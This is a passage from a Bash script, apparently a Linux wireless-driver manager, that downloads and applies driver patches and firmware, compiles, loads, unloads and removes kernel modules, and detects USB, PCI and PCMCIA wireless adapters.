"${DI_DRIVERDIR[$1]}" fi #driver dir not available? abort... if [ ! -d "${DI_DRIVERDIR[$1]}" ] then echo "Directory \"${DI_DRIVERDIR[$1]}\" doesn't exist." return $NO fi #2 - get the correct patch if [ x"${DI_PATCHFILE[$1]}" != x ] then printf "3. Getting the patch..." if [ ! -f "${DI_PATCHFILE[$1]}" ] then $WGET --progress=dot:mega -O "${DI_PATCHFILE[$1]}" "${DI_PATCHPATH1[$1]}" >> "$LOGFILE" 2>&1 if [ "$?" != "0" ] then rm "${DI_PATCHFILE[$1]}" 2>/dev/null fi fi if [ ! -f "${DI_PATCHFILE[$1]}" -a x"${DI_PATCHPATH2[$1]}" != x ] then $WGET --progress=dot:mega -O "${DI_PATCHFILE[$1]}" "${DI_PATCHPATH2[$1]}" >> "$LOGFILE" 2>&1 if [ "$?" != "0" ] then rm "${DI_PATCHFILE[$1]}" 2>/dev/null fi fi if [ ! -f "${DI_PATCHFILE[$1]}" ] then cp "`locate "${DI_PATCHFILE[$1]}" | grep "${DI_PATCHFILE[$1]}$" | head -n 1`" ./ >> "$LOGFILE" 2>&1 if [ "$?" != "0" ] then rm "${DI_PATCHFILE[$1]}" 2>/dev/null fi fi if [ ! -f "${DI_PATCHFILE[$1]}" ] then echo "Couldn't find the correct patch: ${DI_PATCHFILE[$1]}" return $NO else printf "OK\n"; fi cp "${DI_PATCHFILE[$1]}" "${DI_DRIVERDIR[$1]}" >> "$LOGFILE" 2>&1 cd "${DI_DRIVERDIR[$1]}" #prepatching if [ x"${DI_PREPATCH[$1]}" != x ] then ${DI_PREPATCH[$1]} >> "$LOGFILE" 2>&1 fi #3 - patch it confused=0 printf "4. Patching the source..." if [ x"`$PATCH --dry-run -f -s -N ${DI_PATCHARG[$1]} -i "${DI_PATCHFILE[$1]}" | grep "^No file"`" != x ] then $PATCH --dry-run -f -s -N ${DI_PATCHARG[$1]} -i "${DI_PATCHFILE[$1]}" >> "$LOGFILE" 2>&1 echo "Patching failed for files (Couldn't be found)." confused=1 fi if [ x"`$PATCH --dry-run -f -s -N ${DI_PATCHARG[$1]} -i "${DI_PATCHFILE[$1]}" | grep "FAILED"`" != x ] then $PATCH --dry-run -f -s -N ${DI_PATCHARG[$1]} -i "${DI_PATCHFILE[$1]}" >> "$LOGFILE" 2>&1 echo "Patching failed for some hunks." confused=1 fi if [ x"`$PATCH --dry-run -f -s -N ${DI_PATCHARG[$1]} -i "${DI_PATCHFILE[$1]}" | grep "Reversed"`" != x ] then $PATCH --dry-run -f -s -N ${DI_PATCHARG[$1]} -i "${DI_PATCHFILE[$1]}" >> "$LOGFILE" 2>&1 echo "Already patched?" confused=1 fi $PATCH -N -f ${DI_PATCHARG[$1]} -i "${DI_PATCHFILE[$1]}" >> "$LOGFILE" 2>&1 if [ x"$confused" == "x0" ] then printf "OK\n"; fi else cd "${DI_DRIVERDIR[$1]}" echo "3./4. Not patching." fi #4 - compile it if [ x"${DI_PRECOMP[$1]}" != x ] then ${DI_PRECOMP[$1]} >> "$LOGFILE" 2>&1 fi #set all the needed variables if [ x"${DCONFIGS[$1]}" != x ] then for v in ${DCONFIGS[$1]} do export $v done fi printf "5. Compiling the source..." PWD=`pwd` ${DI_COMPILE[$1]} >> "$LOGFILE" 2>&1 if [ $? != "0" ] then return $NO else printf "OK\n" fi if [ $NO_INSTALL = $YES ] then return $YES fi #5 - install it printf "6. Installing the modules..." ${DI_INSTALL1[$1]} >> "$LOGFILE" 2>&1 if [ x"${DI_INSTALL2[$1]}" != x ] then ${DI_INSTALL2[$1]} fi if [ $? != "0" ] then return $NO else printf "OK\n" fi if [ $NO_FIRMWARE = $YES ] then return $YES fi #6 - check/install firmware printf "7. Checking firmware..." if [ x"${DF_FIRMFILES[$1]}" != x -a x"${DF_FIRMPATH1[$1]}" != x ] then firmware_action $1 if [ $? == "$NO" ] then return $NO else printf "OK\n" fi else printf "OK\n" fi return $YES } #END install scripts firmware_action() { needs_install=0 #change back to driver directory cd "$D_DIR" if [ x"${DF_FIRMFILES[$1]}" != x -a x"${DF_FIRMPATH1[$1]}" != x ] then for ffp in ${DF_FIRMFILES[$1]} do if [ x"`find "$FIRMPATH" -name "$ffp"`" == x ] then needs_install=1 fi done if [ x"$needs_install" == "x0" ] then return $YES fi #firmware appears to be missing, install it into $FIRMPATH #download it if its not available #is compressed firmware available? no - wget it if [ ! -f "${DF_FIRMFILE[$1]}" ] then $WGET --progress=dot:mega -O "${DF_FIRMFILE[$1]}" "${DF_FIRMPATH1[$1]}" >> "$LOGFILE" 2>&1 if [ "$?" != "0" ] then rm "${DF_FIRMFILE[$1]}" 2>/dev/null fi fi #is compressed firmware available? no - wget it from mirror if [ ! -f "${DF_FIRMFILE[$1]}" -a x"${DF_FIRMPATH2[$1]}" != x ] then $WGET --progress=dot:mega -O "${DF_FIRMFILE[$1]}" "${DF_FIRMPATH2[$1]}" >> "$LOGFILE" 2>&1 if [ "$?" != "0" ] then rm "${DF_FIRMFILE[$1]}" 2>/dev/null fi fi #is compressed firmware available? no - try to locate it if [ ! -f "${DF_FIRMFILE[$1]}" ] then cp "`locate "${DF_FIRMFILE[$1]}" | grep "${DF_FIRMFILE[$1]}$" | head -n 1`" ./ >> "$LOGFILE" 2>&1 if [ "$?" != "0" ] then rm "${DF_FIRMFILE[$1]}" 2>/dev/null fi fi #is compressed firmware available? no - abort install if [ ! -f "${DF_FIRMFILE[$1]}" ] then echo "Couldn't find the correct firmware file: ${DF_FIRMFILE[$1]}" echo "The specified source seems to be down:" echo "${DF_FIRMPATH1[$1]}" if [ x"${DF_FIRMPATH2[$1]}" != x ] then echo "${DF_FIRMPATH2[$1]}" fi echo "Get the file by hand, put it in \"$D_DIR/\"" echo "and restart this installation." return $NO fi if [ -d "${DF_FIRMDIR[$1]}" ] then #be carefull!! (deleting old firmware) rm -rf "${DF_FIRMDIR[$1]}" >> "$LOGFILE" 2>&1 fi #is tar gzip? if [ x"`echo "${DF_FIRMFILE[$1]}" | grep ".tar.gz$"`" != x -o x"`echo "${DF_FIRMFILE[$1]}" | grep ".tgz$"`" != x ] then $TAR xzf "${DF_FIRMFILE[$1]}" >> "$LOGFILE" 2>&1 fi #is tar bzip2? if [ x"`echo "${DF_FIRMFILE[$1]}" | grep ".tar.bz2$"`" != x ] then $TAR xjf "${DF_FIRMFILE[$1]}" >> "$LOGFILE" 2>&1 fi #is zip? if [ x"`echo "${DF_FIRMFILE[$1]}" | grep ".zip$"`" != x ] then $UNZIP "${DF_FIRMFILE[$1]}" >> "$LOGFILE" 2>&1 fi #error? abort... if [ $? != "0" ] then echo "Unable to extract \"${DF_FIRMFILE[$1]}\"" >> "$LOGFILE" return $NO fi #extracted firmware, change dir cd "${DF_FIRMDIR[$1]}" if [ ! -d "$FIRMPATH/${DF_INSTALLDIR[$1]}" ] then mkdir -p "$FIRMPATH/${DF_INSTALLDIR[$1]}" >> "$LOGFILE" 2>&1 fi #check if there are files available if [ x"`ls 2>/dev/null`" == x ] then echo "No firmware found in downloaded archive." return $NO fi for iffp in ${DF_FIRMFILES[$1]} do firmfilepath="`find -name "$iffp" | tail -n 1`" if [ x"$firmfilepath" != x ] then cp "$firmfilepath" "$FIRMPATH/${DF_INSTALLDIR[$1]}" >> "$LOGFILE" 2>&1 fi done #error? abort... if [ $? != "0" ] then echo "Unable to install firmware." return $NO fi else echo "No firmware information available." return $ERROR fi return $YES } isInstalled() { #_D_river or _S_tack? neither? abort if [ x"$2" != "xD" -a x"$2" != "xS" ] then echo "Invalid subset [D/S]!" return $ERROR fi if [ x"$2" == "xD" ] then if [ $1 -lt 0 -o $1 -ge ${DCOUNT} ] then echo "Invalid driver number!" return $ERROR fi #no module specified, thus return $NO if [ x"${DMODULE[$1]}" == x ] then return $NO fi if [ x"`$MODPROBE -l | grep "\/"${DMODULE[$1]}"\.ko"`" != x ] then if [ x"${DMODINFO[$1]}" != x ] then modfile="`$MODPROBE -l | grep "\/"${DMODULE[$1]}"\.ko"`" if [ x"`modinfo "$modfile" | grep "${DMODINFO[$1]}"`" != x ] then return $YES else return $NO fi else return $YES fi else return $NO fi fi if [ x"$2" == "xS" ] then if [ $1 -lt 0 -o $1 -ge ${SCOUNT} ] then echo "Invalid stack number!" return $ERROR fi #no module specified, thus return $NO if [ x"${SMODULE[$1]}" == x ] then return $NO fi if [ x"`$MODPROBE -l | grep "\/"${SMODULE[$1]}"\.ko"`" != x ] then return $YES else return $NO fi fi return $ERROR } isInstalledFirmware() { isInstalled=1 if [ $1 -lt 0 -o $1 -ge ${DCOUNT} ] then echo "Invalid driver number!" return $ERROR fi #no module specified, thus return $NO if [ x"${DF_FIRMFILES[$1]}" == x ] then return $ERROR fi for iiffp in ${DF_FIRMFILES[$1]} do if [ x"`find "$FIRMPATH" -name "$iiffp"`" == x ] then isInstalled=0 fi done if [ x"$isInstalled" == "x1" ] then return $YES else return $NO fi return $ERROR } isCompiled() { #_D_river or _S_tack? neither? abort if [ x"$2" != "xD" -a x"$2" != "xS" ] then echo "Invalid subset [D/S]!" return $ERROR fi if [ x"$2" == "xD" ] then if [ $1 -lt 0 -o $1 -ge ${DCOUNT} ] then echo "Invalid driver number!" return $ERROR fi #no module specified, thus return $NO if [ x"${DMODULE[$1]}" == x ] then return $NO fi if [ ! -d "$D_DIR/" ] then return $ERROR fi cd "$D_DIR/" if [ ! -d "${DI_DRIVERDIR[$1]}" ] then return $ERROR fi cd "${DI_DRIVERDIR[$1]}/" if [ x"`find -name ${DMODULE[$1]}".ko"`" != x ] then if [ x"${DMODINFO[$1]}" != x ] then modfile="`find -name ${DMODULE[$1]}".ko"`" if [ x"`modinfo "$modfile" | grep "${DMODINFO[$1]}"`" != x ] then return $YES else return $NO fi else return $YES fi else return $NO fi fi if [ x"$2" == "xS" ] then if [ $1 -lt 0 -o $1 -ge ${SCOUNT} ] then echo "Invalid stack number!" return $ERROR fi #no module specified, thus return $NO if [ x"${SMODULE[$1]}" == x ] then return $NO fi if [ ! -d "$D_DIR/" ] then return $ERROR fi cd "$D_DIR/" if [ ! -d "${SI_DRIVERDIR[$1]}" ] then return $ERROR fi cd "${SI_DRIVERDIR[$1]}/" if [ x"`find -name ${SMODULE[$1]}".ko"`" != x ] then return $YES else return $NO fi fi return $ERROR } isLoaded() { #_D_river or _S_tack? neither? abort if [ x"$2" != "xD" -a x"$2" != "xS" ] then echo "Invalid subset [D/S]!" return $ERROR fi if [ x"$2" == "xD" ] then if [ $1 -lt 0 -o $1 -ge $DCOUNT ] then echo "Invalid driver number!" return $ERROR fi #no module specified, thus return $NO if [ x"${DMODULE[$1]}" == x ] then return $NO fi if [ x"`lsmod | grep ${DMODULE[$1]}" "`" != x ] then if [ x"${DMODINFO[$1]}" != x ] then if [ x"`modinfo "${DMODULE[$1]}" | grep "${DMODINFO[$1]}"`" != x ] then return $YES else return $NO fi else return $YES fi else return $NO fi fi if [ x"$2" == "xS" ] then if [ $1 -lt 0 -o $1 -ge $SCOUNT ] then echo "Invalid stack number!" return $ERROR fi #no module specified, thus return $NO if [ x"${SMODULE[$1]}" == x ] then return $NO fi if [ x"`lsmod | grep ${SMODULE[$1]}" "`" != x ] then return $YES else return $NO fi fi return $ERROR } isInKernel() { #_D_river or _S_tack? neither? abort if [ x"$2" != "xD" -a x"$2" != "xS" ] then echo "Invalid subset [D/S]!" return $ERROR fi if [ x"$2" == "xD" ] then if [ $1 -lt 0 -o $1 -ge $DCOUNT ] then echo "Invalid driver number!" return $ERROR fi if [ "x${DCONFIG[$1]}" != x ] then if [ x"`grep ${DCONFIG[$1]}"y" "/lib/modules/"$KVER"/build/.config"`" != x ] then return $YES else return $NO fi else return $NO fi fi if [ x"$2" == "xS" ] then if [ $1 -lt 0 -o $1 -ge $SCOUNT ] then echo "Invalid stack number!" return $ERROR fi if [ x${SCONFIG[$1]} != x ] then if [ x"`grep ${SCONFIG[$1]}"y" "/lib/modules/"$KVER"/build/.config"`" != x ] then return $YES else return $NO fi else return $NO fi fi return $ERROR } listInstalledStacks() { echo "Found following stacks installed:" i=0 while [ $i -lt $SCOUNT ] do isInstalled $i "S" if [ $? -eq $YES ] then printf "$i. ${SNAME[$i]}\n" fi i=$(($i+1)) done } listInstalledDrivers() { echo "Found following drivers installed:" i=0 while [ $i -lt $DCOUNT ] do isInstalled $i "D" if [ $? -eq $YES ] then if [ x"${DSTACK[$i]}" != x ] then printf "$i. ${DNAME[$i]} - ${SNAME[${DSTACK[$i]}]}\n" else printf "$i. ${DNAME[$i]}\n" fi fi i=$(($i+1)) done } listInstalledFirmware() { echo "Found following firmwares installed:" i=0 while [ $i -lt $DCOUNT ] do isInstalledFirmware $i ret=$? if [ $ret -eq $YES ] then if [ x"${DSTACK[$i]}" != x ] then printf "$i. ${DNAME[$i]} - ${SNAME[${DSTACK[$i]}]}\n" else printf "$i. ${DNAME[$i]}\n" fi fi i=$(($i+1)) done } listLoadedStacks() { echo "Found following stacks loaded (as module):" i=0 while [ $i -lt $SCOUNT ] do isLoaded $i "S" if [ $? -eq $YES ] then printf "$i. ${SNAME[$i]}\n" fi i=$(($i+1)) done } listLoadedDrivers() { echo "Found following drivers loaded (as module):" i=0 while [ $i -lt $DCOUNT ] do isLoaded $i "D" if [ $? -eq $YES ] then if [ x"${DSTACK[$i]}" != x ] then printf "$i. ${DNAME[$i]} - ${SNAME[${DSTACK[$i]}]}\n" else printf "$i. ${DNAME[$i]}\n" fi fi i=$(($i+1)) done } listKernelStacks() { echo "Found following stacks in the Kernel:" i=0 while [ $i -lt $SCOUNT ] do isInKernel $i "S" if [ $? -eq $YES ] then printf "$i. ${SNAME[$i]}\n" fi i=$(($i+1)) done } listKernelDrivers() { echo "Found following drivers in the Kernel:" i=0 while [ $i -lt $DCOUNT ] do isInKernel $i "D" if [ $? -eq $YES ] then if [ x"${DSTACK[$i]}" != x ] then printf "$i. ${DNAME[$i]} - ${SNAME[${DSTACK[$i]}]}\n" else printf "$i. ${DNAME[$i]}\n" fi fi i=$(($i+1)) done } listSupportedStacks() { echo "Following stacks are supported:" i=0 while [ $i -lt $SCOUNT ] do if [ x"${SMODULE[$i]}" != x ] then printf "$i. ${SNAME[$i]}\n" fi i=$(($i+1)) done } listSupportedDrivers() { echo "Following drivers are supported:" i=0 while [ $i -lt $DCOUNT ] do if [ x"${DMODULE[$i]}" != x ] then if [ x"${DSTACK[$i]}" != x ] then printf "$i. ${DNAME[$i]} - ${SNAME[${DSTACK[$i]}]}\n" else printf "$i. ${DNAME[$i]}\n" fi fi i=$(($i+1)) done } unloadDriver() { if [ $1 -lt 0 -o $1 -ge $DCOUNT ] then echo "Invalid driver number!" return $ERROR fi isLoaded $1 "D" if [ $? -eq $NO ] then echo "Driver isn't loaded." return $NO fi last=200 current=0 for i in ${DMODULES[$1]} do i="`echo "$i" | sed 's/-/_/'`" if [ x"`lsmod | grep $i" "`" != x ] then current=$(($current+1)) fi done while [ $current -lt $last -a $current -gt 0 ] do last=$current current=0 for i in ${DMODULES[$1]} do i="`echo "$i" | sed 's/-/_/'`" rmmod $i 2>/dev/null if [ x"`lsmod | grep $i" "`" != x ] then current=$(($current+1)) fi done done if [ $current -eq 0 ] then return $YES else return $NO fi } insertDriver() { if [ $1 -lt 0 -o $1 -ge $DCOUNT ] then echo "Invalid driver number!" return $ERROR fi isInKernel $1 "D" if [ $? -eq $YES ] then echo "Cannot insert an in-kernel driver." return $NO fi isCompiled $1 "D" if [ $? -eq $NO ] then echo "Driver isn't compiled." return $NO fi isLoaded $1 "D" if [ $? -eq $YES ] then unloadDriver $1 if [ $? -ne $YES ] then echo "Can't unload current driver." echo "You need to remove it from memory." echo return $NO fi fi last=-1 current=0 modnum=0 cd "$D_DIR/${DI_DRIVERDIR[$1]}/" for i in ${DMODULES[$1]} do if [ x"`find -name $i".ko"`" != x ] then INSMOD[$modnum]="`find -name $i".ko"`" CHECKMOD[$modnum]="$i" modnum=$(($modnum+1)) fi done if [ $modnum -eq 0 ] then echo "Driver isn't compiled." return $NO fi while [ $current -gt $last ] do last=$current current=0 i=0 while [ $i -lt $modnum ] do insmod ${INSMOD[$i]} 2>/dev/null j="`echo ${CHECKMOD[$i]} | sed 's/-/_/'`" if [ x"`lsmod | grep "$j"`" != x ] then current=$(($current+1)) fi i=$(($i+1)) done done if [ $current -eq $modnum ] then return $YES else return $NO fi } loadDriver() { if [ $1 -lt 0 -o $1 -ge $DCOUNT ] then echo "Invalid driver number!" return $ERROR fi isInKernel $1 "D" if [ $? -eq $YES ] then echo "Cannot load an in-kernel driver." return $NO fi isInstalled $1 "D" if [ $? -eq $NO ] then echo "Driver is not installed." return $NO fi isLoaded $1 "D" if [ $? -eq $YES ] then echo "Driver is already loaded." return $NO fi for i in ${DMODULES[$1]} do i="`echo "$i" | sed 's/-/_/'`" $MODPROBE $i 2>/dev/null done isLoaded $1 "D" if [ $? -eq $NO ] then return $NO fi return $YES } installDriver() { #check if argument is out of range if [ $1 -lt 0 -o $1 -ge $DCOUNT ] then echo "Invalid driver number!" return $ERROR fi #check if atleast kernel headers are installed if [ ! -f "$KSRC/.config" ] then echo "Kernel headers missing!" return $ERROR fi #check if GCC is in path if [ x"$GCC" == x ] then echo "GCC not installed!" return $ERROR fi #check if gcc version matches the kernel gcc version gccvers="`$GCC --version | head -n 1 | sed 's/^[^ ]* [^ ]* \([2-4]..*\)$/\1/'`" ret="`cat /proc/version | grep "$gccvers"`" if [ x"$ret" == x ] then echo "Your current GCC version doesn't match the version your kernel was compiled with." echo "The build modules will probably not load into the running kernel." fi #cd into driver build directory mkdir -p "$D_DIR/" if [ ! -d "$D_DIR/" ] then echo "Directory \"$D_DIR/\" not available." return $ERROR fi cd "$D_DIR/" #run the custom installscript if [ x"${DI_INIT[$1]}" != x ] then ${DI_INIT[$1]} $1 fi install_action $1 ret=$? echo "Running \"depmod -ae\"..." depmod -ae return $ret } installFirmware() { #check if argument is out of range if [ $1 -lt 0 -o $1 -ge $DCOUNT ] then echo "Invalid driver number!" return $ERROR fi #cd into driver build directory mkdir -p "$D_DIR/" if [ ! -d "$D_DIR/" ] then echo "Directory \"$D_DIR/\" not available." return $ERROR fi firmware_action $1 ret=$? return $ret } installStack() { #check if argument is out of range if [ $1 -lt 0 -o $1 -ge $SCOUNT ] then echo "Invalid stack number!" return $ERROR fi #check if atleast kernel headers are installed if [ ! -f "$KSRC/.config" ] then echo "Kernel headers missing!" return $ERROR fi #check if kernel source is installed missing=0 #check for default files README COPYING CREDITS (i hope every kernel source includes them all) if [ ! -f "$KSRC/README" -o ! -f "$KSRC/COPYING" -o ! -f "$KSRC/CREDITS" ] then missing=1 # echo "Kernel source missing!" # return $ERROR fi #2nd check (in case README COPYING and CREDITS is included in kernel headers) #searches for .c files in "net" subdir if [ $missing = 0 -a x"`find "$KSRC/net/" -name "*\.c" | head -n 1`" = x ] then missing=1 # echo "Kernel source missing!" # return $ERROR fi #check if GCC is in path if [ x"$GCC" == x ] then echo "GCC not installed!" return $ERROR fi #check if gcc version matches the kernel gcc version gccvers="`$GCC --version | head -n 1 | sed 's/^[^ ]* [^ ]* \([2-4]..*\)$/\1/'`" ret="`cat /proc/version | grep "$gccvers"`" if [ x"$ret" == x ] then echo "Your current GCC version doesn't match the version your kernel was compiled with." echo "The build modules will probably not load into the running kernel." fi #cd into driver build directory mkdir -p "$D_DIR/" if [ ! -d "$D_DIR/" ] then echo "Directory \"$D_DIR/\" not available." return $ERROR fi cd "$D_DIR/" #run the custom installscript if [ x"${SI_INIT[$1]}" != x ] then ${SI_INIT[$1]} $missing fi #map stack install to driver install, so we can use the install_action functionality DCONFIGS[999]=${SCONFIGS[$1]} # DI_INIT[999]=${SI_INIT[$1]} DI_DRIVERGET[999]=${SI_DRIVERGET[$1]} DI_DRIVERFILE[999]=${SI_DRIVERFILE[$1]} DI_DRIVERPATH1[999]=${SI_DRIVERPATH1[$1]} DI_DRIVERPATH2[999]=${SI_DRIVERPATH2[$1]} DI_DRIVEREXDIR[999]=${SI_DRIVEREXDIR[$1]} DI_DRIVERDIR[999]=${SI_DRIVERDIR[$1]} DI_PREPATCH[999]=${SI_PREPATCH[$1]} DI_PATCHFILE[999]=${SI_PATCHFILE[$1]} DI_PATCHPATH1[999]=${SI_PATCHPATH1[$1]} DI_PATCHPATH2[999]=${SI_PATCHPATH2[$1]} DI_PATCHARG[999]=${SI_PATCHARG[$1]} DI_PRECOMP[999]=${SI_PRECOMP[$1]} DI_COMPILE[999]=${SI_COMPILE[$1]} DI_INSTALL1[999]=${SI_INSTALL1[$1]} DI_INSTALL2[999]=${SI_INSTALL2[$1]} install_action "999" ret=$? echo "Running \"depmod -ae\"..." depmod -ae return $ret } removeDriver() { #check if argument is out of range if [ "$1" -lt 0 -o "$1" -ge "$DCOUNT" ] then echo "Invalid driver number!" return $ERROR fi #check if its in-kernel isInKernel $1 "D" if [ $? -eq $YES ] then echo "Cannot remove drivers build into the kernel!" exit fi #check if its installed isInstalled $1 "D" if [ $? -eq $NO ] then echo "This driver isn't installed and thus cannot be removed." exit fi echo "Starting to remove \"${DNAME[$1]}\" driver" #check if its loaded and unload befor trying to remove isLoaded $1 "D" if [ $? -eq $YES ] then unloadDriver $1 if [ $? -eq $NO -o $? -eq $ERROR ] then echo "Couldn't unload the driver." fi fi #loop through the modules, find and rm them for i in ${DMODULES[$1]} do if [ -f "`$MODPROBE -l | grep \/$i\.ko`" ] then rm -i "`$MODPROBE -l | grep \/$i\.ko`" fi done echo "Running \"depmod -ae\"..." depmod -ae return $YES } removeFirmware() { #check if argument is out of range if [ "$1" -lt 0 -o "$1" -ge "$DCOUNT" ] then echo "Invalid driver number!" return $ERROR fi #check if its installed isInstalledFirmware $1 if [ $? -eq $NO ] then echo "This firmware isn't installed and thus cannot be removed." exit fi echo "Starting to remove \"${DNAME[$1]}\" firmware" #loop through the modules, find and rm them for i in ${DF_FIRMFILES[$1]} do oldnumfiles=999 numfiles="`find "$FIRMPATH" -name "$i" 2>/dev/null | wc -l`" while [ "$numfiles" -gt 0 -a "$numfiles" -lt "$oldnumfiles" ] do fileone="`find "$FIRMPATH" -name "$i" 2>/dev/null | head -n 1`" rm -i "$fileone" oldnumfiles=$numfiles if [ ! -f "$fileone" ] then numfiles="`find "$FIRMPATH" -name "$i" 2>/dev/null | wc -l`" fi done done return $YES } removeStack() { #check if argument is out of range if [ "$1" -lt 0 -o "$1" -ge "$SCOUNT" ] then echo "Invalid stack number!" return $ERROR fi echo "Starting to remove \"${SNAME[$1]}\" driver" #loop through the modules, find and rm them for i in ${SMODULES[$1]} do if [ -f "`$MODPROBE -l | grep \/$i\.ko`" ] then rm -i "`$MODPROBE -l | grep \/$i\.ko`" fi done echo "Running \"depmod -ae\"..." depmod -ae return $YES } checkusb() { if [ x"$LSUSB" != x ] then usbnum=`$LSUSB | wc -l` j=1 if [ x"`$LSUSB -vvv | grep -i "$1"`" != x ] then while [ $j -le $usbnum ] do bus=`$LSUSB | head -n $j | tail -n 1 | awk '{print $2}' | sed 's/^0*//'` dev=`$LSUSB | head -n $j | tail -n 1 | awk '{print $4}' | sed 's/^0*//' | sed 's/:$//'` if [ x"$bus" == x ] then bus=0 fi if [ x"$dev" == x ] then dev=0 fi if [ x"`$LSUSB -s "$bus:$dev" -v | grep -i "$1"`" != x ] then echo `$LSUSB -s "$bus:$dev"` fi j=$(($j+1)) done fi fi } checkpci() { if [ x"$LSPCI" != x ] then pcinum=`$LSPCI | wc -l` j=1 if [ x"`$LSPCI | grep -i "$1"`" != x ] then while [ $j -le $pcinum ] do if [ x"`$LSPCI | head -n $j | tail -n 1 | grep -i "$1"`" != x ] then echo `$LSPCI | head -n $j | tail -n 1` fi j=$(($j+1)) done fi fi } checkpcmcia() { if [ x"$LSPCMCIA" != x -a x"$CARDCTL" != x ] then pcmcianum=10 j=0 if [ x"`$LSPCMCIA -v | grep -i "$1"`" != x ] then while [ $j -le $pcmcianum ] do manfid=`$CARDCTL ident $j | grep "manfid" | sed 's/^.*: //'` if [ x"$manfid" == x ] then manfid="0x0000, 0x0000" fi if [ x"`$CARDCTL ident $j | grep -i "$1"`" != x ] then echo "ID:"$manfid "`$CARDCTL ident $j | head -n 1 | sed 's/^.*: //'`" fi j=$(($j+1)) done fi fi } detectAdapters() { echo #usb if [ x"$LSUSB" != x ] then i=0 while [ $i -lt $DCOUNT ] do if [ x"${DETECT_USB[$i]}" != x ] then if [ x"`$LSUSB -vvv | grep "${DETECT_USB[$i]}"`" != x ] then echo "Found \"${DNAME[$i]}\" device: (${DMODULE[$i]})" checkusb "${DETECT_USB[$i]}" echo fi fi i=$(($i+1)) done fi #pci if [ x"$LSPCI" != x ] then i=0 while [ $i -lt $DCOUNT ] do if [ x"${DETECT_PCI[$i]}" != x ] then if [ x"`$LSPCI | grep "${DETECT_PCI[$i]}"`" != x ] then echo "Found \"${DNAME[$i]}\" device: (${DMODULE[$i]})" checkpci "${DETECT_PCI[$i]}" echo fi fi i=$(($i+1)) done fi #pcmcia if [ x"$LSPCMCIA" != x ] then i=0 while [ $i -lt $DCOUNT ] do if [ x"${DETECT_CS[$i]}" != x ] then if [ x"`$LSPCMCIA -vvv | grep "${DETECT_CS[$i]}"`" != x ] then echo "Found \"${DNAME[$i]}\" device: (${DMODULE[$i]})" checkpcmcia "${DETECT_CS[$i]}" echo fi fi i=$(($i+1)) done fi #generic GENERIC="wireless\|80211\|80211\.11\|wifi\|wlan" #usb if [ x"$LSUSB" != x ] then if [ x"`$LSUSB -vvv | grep -i "$GENERIC"`" != x ] then echo && echo "USB devices (generic detection):" checkusb "$GENERIC" fi fi #pci if [ x"$LSPCI" != x ] then if [ x"`$LSPCI | grep -i "$GENERIC"`" != x ] then echo && echo "PCI devices (generic detection):" checkpci "$GENERIC" fi fi #pcmcia if [ x"$LSPCMCIA" != x -a x"$CARDCTL" != x ] then if [ x"`$LSPCMCIA -v | grep -i "$GENERIC"`" != x ] then echo && echo "PCMCIA devices (generic detection):" checkpcmcia "$GENERIC" fi fi echo return $YES } name2num() { if [ x"$1" == x ] then return $ERROR fi i=0 while [ $i -lt "$DCOUNT" ] do for j in ${DMODULES[$i]} do if [ x"`echo "$1 " | grep -i "$j "`" != x ] then return $i fi done i=$(($i+1)) done return $ERROR } name2num_stack() { if [ x"$1" == x ] then return $ERROR fi i=0 while [ $i -lt "$SCOUNT" ] do for j in ${SMODULES[$i]} do if [ x"`echo "$1 " | grep -i "$j "`" != x ] then return $i fi done i=$(($i+1)) done return $ERROR } usage() { printf "Found kernel: $VANILLA\n" printf "usage: `basename $0` [drivernumber]\n" printf "\tvalid commands:\n" printf "\t\tsupported\t\t- lists all supported drivers\n" printf "\t\tkernel\t\t\t- lists all in-kernel drivers\n" printf "\t\tinstalled\t\t- lists all installed drivers\n" printf "\t\tloaded\t\t\t- lists all loaded drivers\n" printf "\t\t-----------------------------------------------------\n" printf "\t\tinsert \t- inserts a driver\n" printf "\t\tload \t- loads a driver\n" printf "\t\tunload \t- unloads a driver\n" printf "\t\treload \t- reloads a driver\n" printf "\t\t-----------------------------------------------------\n" printf "\t\tcompile \t- compiles a driver\n" printf "\t\tinstall \t- installs a driver\n" printf "\t\tremove \t- removes a driver\n" printf "\t\t-----------------------------------------------------\n" printf "\t\tcompile_stack \t- compiles a stack \n" printf "\t\tinstall_stack \t- installs a stack \n" printf "\t\tremove_stack \t- removes a stack \n" printf "\t\t-----------------------------------------------------\n" printf "\t\tinstall_firmware \t- installs the firmware \n" printf "\t\tremove_firmware \t- removes the firmware \n" printf "\t\t-----------------------------------------------------\n" printf "\t\tdetails \t- prints driver details\n" printf "\t\tdetect\t\t\t- detects wireless cards\n" echo exit } #checking main argument(s) if [ x"$1" == x ] then usage fi if [ x"$1" == "xsupported" ] then listSupportedStacks echo "" listSupportedDrivers exit fi if [ x"$1" == "xinstalled" ] then listInstalledStacks echo "" listInstalledDrivers echo "" listInstalledFirmware exit fi if [ x"$1" == "xloaded" ] then listLoadedStacks echo "" listLoadedDrivers exit fi if [ x"$1" == "xkernel" ] then listKernelStacks echo "" listKernelDrivers exit fi if [ x"$1" == "xdetect" ] then detectAdapters exit fi if [ x"$1" == "xremove" ] then if [ x$2 == "x" ] then echo "$NO_DRIVER_ERROR" exit fi name2num $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $DCOUNT ] 2>/dev/null then num=$2 else echo "Invalid driver!" exit fi fi echo "Driver \"${DNAME[$num]}\" specified for removing." removeDriver $num if [ $? -eq $YES ] then echo "Removed driver \"${DNAME[$num]}\" successfully" else echo "Failed to remove the driver." fi exit fi if [ x"$1" == "xremove_stack" ] then if [ x$2 == "x" ] then echo "$NO_STACK_ERROR" exit fi name2num_stack $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $SCOUNT ] 2>/dev/null then num=$2 else echo "Invalid stack!" exit fi fi echo "Stack \"${SNAME[$num]}\" specified for removing." removeStack $num if [ $? -eq $YES ] then echo "Removed stack \"${SNAME[$num]}\" successfully" else echo "Failed to remove the stack." fi exit fi if [ x"$1" == "xremove_firmware" ] then if [ x$2 == "x" ] then echo "$NO_FIRMWARE_ERROR" exit fi name2num $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $DCOUNT ] 2>/dev/null then num=$2 else echo "Invalid driver!" exit fi fi echo "Firmware \"${DNAME[$num]}\" specified for removing." removeFirmware $num if [ $? -eq $YES ] then echo "Removed firmware \"${DNAME[$num]}\" successfully" else echo "Failed to remove the firmware." fi exit fi if [ x"$1" == "xinstall" ] then if [ x$2 == "x" ] then echo "$NO_DRIVER_ERROR" exit fi name2num $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a 